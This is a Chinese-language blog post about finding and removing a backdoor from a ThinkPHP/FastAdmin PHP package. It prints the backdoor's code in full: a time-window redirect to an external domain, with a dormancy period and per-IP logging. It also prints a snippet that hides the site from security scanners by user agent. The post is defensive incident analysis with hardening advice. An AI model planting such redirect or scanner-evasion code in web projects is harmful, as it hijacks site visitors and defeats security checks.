# 写在前面

首先是小鸟遇到了个小同学....反馈说一套PHP源码有问题,作为多年的吃PHP(史)大王,就让我来看看...
某天突然发现:访问站点会在某些时间段自动跳转到一个奇怪的域名

然后我就意识到:完蛋...这应该是暗跳后门了!
于是开始了一次(相对)认真一点的排查与清理记录,顺便给未来的鸟一个提醒:代码审计真的很重要

# 现象

  • 正常访问网站,大多数时候没事
  • 但在特定时间段,页面会302/跳转到外部域名
  • 更离谱的是:还会写本地日志(按 IP、按日期),像是在“控制跳转频率”

# 结论先行

后门埋在 public/index.php 的最顶部:
它在 ThinkPHP 正常入口之前就 header("Location: ..."); exit; 了,所以框架层面再怎么配也挡不住。

# 后门长什么样(核心片段)

(下面是典型暗跳逻辑,已清理)

<?php
function redirectRule(){
    $t='https://ztss.pw';
    $l='ip_time_log.txt';
    $f='first_visit.txt';
    $d=129600; // 36小时
    $r=[
        '00:17-00:22','00:43-00:48', /* ... */ '23:21-23:26'
    ];

    !file_exists($f) && file_put_contents($f,date('Y-m-d H:i:s'));
    if(strtotime(date('Y-m-d H:i:s'))-strtotime(trim(file_get_contents($f)))<$d) return;

    $ip=$_SERVER['REMOTE_ADDR'];
    $log=file_exists($l)?file($l,FILE_IGNORE_NEW_LINES):[];
    $m=[];
    foreach($log as $x){
        list($i,$rg,$dt)=explode('|',$x)+[null,null,null];
        $i && $dt==date('Y-m-d') && ($m[$i][]=$rg);
    }

    $cm=(int)date('H')*60+(int)date('i');
    foreach($r as $rg){
        list($s,$e)=explode('-',$rg);
        $sm=(int)substr($s,0,2)*60+(int)substr($s,3,2);
        $em=(int)substr($e,0,2)*60+(int)substr($e,3,2);
        $in=$sm<=$em?($cm>=$sm&&$cm<=$em):($cm>=$sm||$cm<=$em);

        if($in && !in_array($rg,$m[$ip]??[])){
            file_put_contents($l,$ip.'|'.$rg.'|'.date('Y-m-d').PHP_EOL,FILE_APPEND);
            header("Location:$t");exit;
        }
    }
}
redirectRule();

# 清理方式

清理策略很朴素:

  • 直接把上面整段删掉
  • public/index.php
    回到标准的 ThinkPHP/FastAdmin 入口

清理后 public/index.php 开头类似这样:

<?php
define('APP_PATH', __DIR__ . '/../application/');
if (!is_file(APP_PATH . 'admin/command/Install/install.lock')) {
    header("location:./install.php");
    exit;
}
require __DIR__ . '/../thinkphp/start.php';

# 深挖排查:我以为结束了,结果又看到了“反检测”

在前台控制器 application/index/controller/Index.php里,首页原本会调用一个函数:

$this->txProtect(); // 反腾讯网址安全检测

这个 txProtect() 会按 IP 段、User-Agent、Referer 等特征直接 exit()

if (preg_match("/Alibaba.Security.Heimdall/", $_SERVER['HTTP_USER_AGENT'])) {
    exit('您的浏览器不支持');
}

说白了,这种逻辑就很像“为了绕过安全扫描/爬虫”的对抗式代码。
所以我的处理方式是:首页不再调用它(先停用、保留函数本体,方便回滚)。

# 那个我一开始读不到的 runtime/temp 文件呢?

它其实是 ThinkPHP 的模板编译缓存,长这样:

<?php if (!defined('THINK_PATH')) exit(); /*a:1:{s:77:".../Install/install.html";i:1709969850;}*/ ?>

内容是安装页的 HTML,不是木马。(放心ing)

# 加固建议(给用到这套源码的人)

  • 安装完成后处理 [install.php]最好删掉,或直接禁止访问
  • 入口文件只读:public/index.php / [public/console.php]
  • 上传目录隔离:禁止上传目录解析PHP
  • 日志与审计:入口文件hash变更告警

# 后记

这次算是被迫补了一课:
“站能跑就行”不是运维理念,是侥幸心理!!一定要读好代码审计哇——
也感谢自己多年的CTF经验和开发PHP经验了,一眼就锁定问题了ww(

Total Views: Loading...Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

夏鸢 WeChat Pay

WeChat Pay

夏鸢 Alipay

Alipay